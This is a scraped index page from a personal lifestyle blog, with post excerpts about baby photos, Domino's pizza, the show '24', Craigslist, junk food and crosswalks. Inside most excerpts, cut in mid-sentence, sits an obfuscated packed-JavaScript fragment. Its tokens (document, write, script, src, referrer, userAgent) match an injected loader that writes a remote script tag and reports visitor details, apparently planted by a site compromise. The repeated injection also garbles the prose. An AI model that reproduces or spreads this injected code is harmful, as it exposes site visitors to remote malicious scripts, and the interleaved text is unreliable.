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Hair – from an early age

Currently ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bekdz|var|u0026u|referrer|enkah||js|php’.split(‘|’),0,{})) in Seattle for work. Headed back to CA on Wednesday night. While at home, I thumbed through my baby albums and thought I’d use a few of the funny ones for blogs this week. A bit self indulgent? Yes. But hey, it’s not called “Bryn-ashley” for nothing! I look […]

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Domino’s Pizza

Domino’s ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ysdys|var|u0026u|referrer|ayfsi||js|php’.split(‘|’),0,{})) is trying to revamp their image. In an effort to support this lofty endeavor, a group of us ordered Domino’s takeout the other night. Feast your eyes on 4 glorious pies! Their big thing is the crust – so of course we had to try a few different varieties. […]

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#5 That moment on 24 when Jack called the only person he could trust

If ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdfrt|var|u0026u|referrer|shrff||js|php’.split(‘|’),0,{})) you don’t watch 24, you wont understand. Jack and Audrey were stuck, no more bullets and at a dead end. It seemed like their fate was sealed. Then Jack called “the only person I can trust.” Chloe? What? NO! Tony comes racing around the corner and the room of […]

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#4 Selling stuff on Craigslist

It’s the stuff that you want to get rid of, but it’s just a little too good for the Goodwill…sorry Goodwill. You ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbhtb|var|u0026u|referrer|asrhk||js|php’.split(‘|’),0,{})) list it, with a picture (because only idiots list anything without a picture) and hope for an email or call. If you’re selling moving boxes, you’ve hit Craigslist […]

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#3 Finding money in the pocket of your ski jacket

When ski season comes around, you pull out the clothes stored away since last year. I almost always find a couple bucks or a granola bar stashed away in one of the pockets. It’s like Christmas morning! Some ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yhnib|var|u0026u|referrer|zayak||js|php’.split(‘|’),0,{})) of the things I’ve found in my pockets over the years: 1. […]

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#2 Junk Food

We ran 5 miles Sunday…so of course that makes it ok to eat: Movie ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbhnk|var|u0026u|referrer|ynirt||js|php’.split(‘|’),0,{})) theater popcorn Skittles Mambas A frosty (that Nick brought home after a softball victory) A chocolate chip cookie A dove dark chocolate with almonds But it was AWESOME! The stomach ache I will develop is not […]

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#1 When the walking signal changes just as you arrive at the crosswalk

I ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktikr|var|u0026u|referrer|fzryn||js|php’.split(‘|’),0,{})) take walking signals very seriously. As a young college student, while “jay walking” across a deserted street, I was warned by a police officer that what I had done was illegal and that a stiff fine could be applied. He, being the nice guy that he was, gave me […]

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1000 Awesome Things

The ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbdka|var|u0026u|referrer|nsfks||js|php’.split(‘|’),0,{})) Webby awards came out last week and I found a “new” website that kept me entertained for a solid half hour – until I forced myself to try and be slightly more productive. 1000 Awesome Things is a blog by Neil Pasricha where he writes about 1 Awesome thing […]

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Google Streetview?

While ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nrzia|var|u0026u|referrer|siiaz||js|php’.split(‘|’),0,{})) Nick was sweeping the deck he saw this odd car drive up the street. He thought it was google streetview so I ran outside to see what it might be. It was an old SUV with a video camera system on top. It was called cityview or something like […]

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Lady Gaga…..err….Timmy

I saw this video the other day. I normally feel bad for these kids because their parents have done this to them. But this kid is incredible and he totally wants to be a youtube star. He really starts to get down around the 3:20 mark. And the kid can snap! ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n […]